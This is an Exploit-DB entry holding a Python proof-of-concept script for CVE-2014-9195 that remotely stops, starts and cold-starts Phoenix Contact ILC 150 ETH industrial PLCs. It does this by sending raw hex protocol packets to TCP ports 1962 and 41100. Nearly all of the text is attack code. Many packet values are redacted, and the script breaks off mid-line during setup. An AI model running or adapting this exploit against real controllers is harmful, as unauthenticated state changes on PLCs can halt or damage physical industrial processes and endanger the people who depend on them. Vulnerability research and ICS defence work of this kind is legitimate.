Exploit-DB #37066
Description: Phoenix Contact ILC 150 ETH PLC - Remote Control Script
Type: remote
Platform: hardware
Date: 2015-05-20
Author: Photubias

Exploit:
#!/usr/bin/env python
'''
    # Exploit Title: Phoenix Contact ILC 150 ETH PLC Remote Control script
    # Date: 2015-05-19
    # Exploit Author: Photubias - tijl[dot]deneut[at]howest[dot]be
    # Vendor Homepage: https://www.phoenixcontact.com/online/portal/us?urile=pxc-oc-itemdetail:pid=2985330
    # Version: ALL FW VERSIONS
    # Tested on: Python runs on Windows, Linux
    # CVE : CVE-2014-9195

    Copyright 2015 Photubias(c)

    Written for Howest(c) University College

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.

File name ControlPLC.py
written by tijl[dot]deneut[at]howest[dot]be
This POC will print out the current status of the PLC, continuously every 0.1 second, after 3 seconds it reverts (start becomes stop, stop becomes cold start), and stops after 5 seconds
Works on ILC 15x ETH, partly on RFC 43x, partly on ILC 39x
'''
import sys, socket, binascii, time, os, select, re

IP=''
infoport=1962
controlport=41100


## Defining Functions First
def send_and_recv(s,size,strdata):
    data = binascii.unhexlify(strdata) ## Convert to real HEX (\x00\x00 ...)
    s.send(data)
    ret = s.recv(4096)
    return ret

def doAction(s,strdata):
    ret = send_and_recv(s,1000,strdata)
    # In official state these are send, they do not seem to be needed
    send_and_recv(s,1000,packet1)
    send_and_recv(s,1000,packet2)
    send_and_recv(s,1000,packet2)
    ret = send_and_recv(s,1000,'[PII_REDACTED][PII_REDACTED][PII_REDACTED]000840')
    send_and_recv(s,1000,packet2)
    return ret

def initMonitor(s):
    send_and_recv(s,1000,'[PII_REDACTED]002f[PII_REDACTED]0000cfff4164652e52656d6f74696e672e[PII_REDACTED]6365732e4950726f436f6e4f53436f6e74726f6c[PII_REDACTED]63653200')
    send_and_recv(s,1000,'[PII_REDACTED]002e[PII_REDACTED][PII_REDACTED]64652e52656d6f74696e672e[PII_REDACTED]6365732e4950726f436f6e4f53436f6e74726f6c[PII_REDACTED]636500')
    send_and_recv(s,1000,'[PII_REDACTED][PII_REDACTED][PII_REDACTED]004164652e52656d6f74696e672e[PII_REDACTED]6365732e[PII_REDACTED][PII_REDACTED][PII_REDACTED]69636500')
    send_and_recv(s,1000,'[PII_REDACTED]002a[PII_REDACTED]0000d4ff4164652e52656d6f74696e672e[PII_REDACTED]6365732e[PII_REDACTED]6365496e666f[PII_REDACTED]63653200')
    send_and_recv(s,1000,'[PII_REDACTED][PII_REDACTED][PII_REDACTED]004164652e52656d6f74696e672e[PII_REDACTED]6365732e[PII_REDACTED]6365496e666f[PII_REDACTED]636500')
    send_and_recv(s,1000,'[PII_REDACTED][PII_REDACTED]00000000d9ff4164652e52656d6f74696e672e[PII_REDACTED]6365732e49466f[PII_REDACTED][PII_REDACTED]3200')
    send_and_recv(s,1000,'[PII_REDACTED][PII_REDACTED][PII_REDACTED]004164652e52656d6f74696e672e[PII_REDACTED]6365732e49466f[PII_REDACTED][PII_REDACTED]00')
    send_and_recv(s,1000,'[PII_REDACTED][PII_REDACTED]00000000ceff4164652e52656d6f74696e672e[PII_REDACTED]6365732e4953696d706c6546696c[PII_REDACTED][PII_REDACTED][PII_REDACTED]00')
    send_and_recv(s,1000,'[PII_REDACTED][PII_REDACTED][PII_REDACTED]004164652e52656d6f74696e672e[PII_REDACTED]6365732e4953696d706c6546696c[PII_REDACTED][PII_REDACTED][PII_REDACTED]00')
    send_and_recv(s,1000,'[PII_REDACTED]002a[PII_REDACTED]0000d4ff4164652e52656d6f74696e672e[PII_REDACTED]6365732e[PII_REDACTED]6365496e666f[PII_REDACTED]63653200')
    send_and_recv(s,1000,'[PII_REDACTED][PII_REDACTED][PII_REDACTED]004164652e52656d6f74696e672e[PII_REDACTED]6365732e[PII_REDACTED]6365496e666f[PII_REDACTED]636500')
    send_and_recv(s,1000,'[PII_REDACTED]002a[PII_REDACTED]0000d4ff4164652e52656d6f74696e672e[PII_REDACTED]6365732e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]')
    send_and_recv(s,1000,'[PII_REDACTED][PII_REDACTED][PII_REDACTED]004164652e52656d6f74696e672e[PII_REDACTED]6365732e[PII_REDACTED][PII_REDACTED][PII_REDACTED]69636500')
    send_and_recv(s,1000,'[PII_REDACTED]002a[PII_REDACTED]0000d4ff4164652e52656d6f74696e672e[PII_REDACTED]6365732e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]')
    send_and_recv(s,1000,'[PII_REDACTED][PII_REDACTED]00000000d5ff4164652e52656d6f74696e672e[PII_REDACTED]6365732e[PII_REDACTED]6b706f696e[PII_REDACTED]69636500')
    send_and_recv(s,1000,'[PII_REDACTED][PII_REDACTED]00000000d6ff4164652e52656d6f74696e672e[PII_REDACTED]6365732e4943616c6c737461636b[PII_REDACTED]636500')
    send_and_recv(s,1000,'[PII_REDACTED][PII_REDACTED][PII_REDACTED]004164652e52656d6f74696e672e[PII_REDACTED]6365732e[PII_REDACTED][PII_REDACTED][PII_REDACTED]')
    send_and_recv(s,1000,'[PII_REDACTED]002f[PII_REDACTED]0000cfff4164652e52656d6f74696e672e[PII_REDACTED]6365732e4950726f436f6e4f53436f6e74726f6c[PII_REDACTED]63653200')
    send_and_recv(s,1000,'[PII_REDACTED]002e[PII_REDACTED][PII_REDACTED]64652e52656d6f74696e672e[PII_REDACTED]6365732e4950726f436f6e4f53436f6e74726f6c[PII_REDACTED]636500')
    send_and_recv(s,1000,'[PII_REDACTED][PII_REDACTED]00000000ceff4164652e52656d6f74696e672e[PII_REDACTED]6365732e4953696d706c6546696c[PII_REDACTED][PII_REDACTED][PII_REDACTED]00')
    send_and_recv(s,1000,'[PII_REDACTED][PII_REDACTED][PII_REDACTED]004164652e52656d6f74696e672e[PII_REDACTED]6365732e4953696d706c6546696c[PII_REDACTED][PII_REDACTED][PII_REDACTED]00')
    send_and_recv(s,1000,'[PII_REDACTED]000e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]01200')
    return

def is_ipv4(ip):
	match = re.match("^(\d{0,3})\.(\d{0,3})\.(\d{0,3})\.(\d{0,3})$", ip)
	if not match:
		return False
	quad = []
	for number in match.groups():
		quad.append(int(number))
	if quad[0] < 1:
		return False
	for number in quad:
		if number > 255 or number < 0:
			return False
	return True

##### The Actual Program
if not len(sys.argv) == 2:
        IP = raw_input("Please enter the IPv4 address of the Phoenix PLC: ")
else:
        IP = sys.argv[1]
        
if not is_ipv4(IP):
	print "Please go read RFC 791 and then use a legitimate IPv4 address."
	sys.exit()
	
## - initializat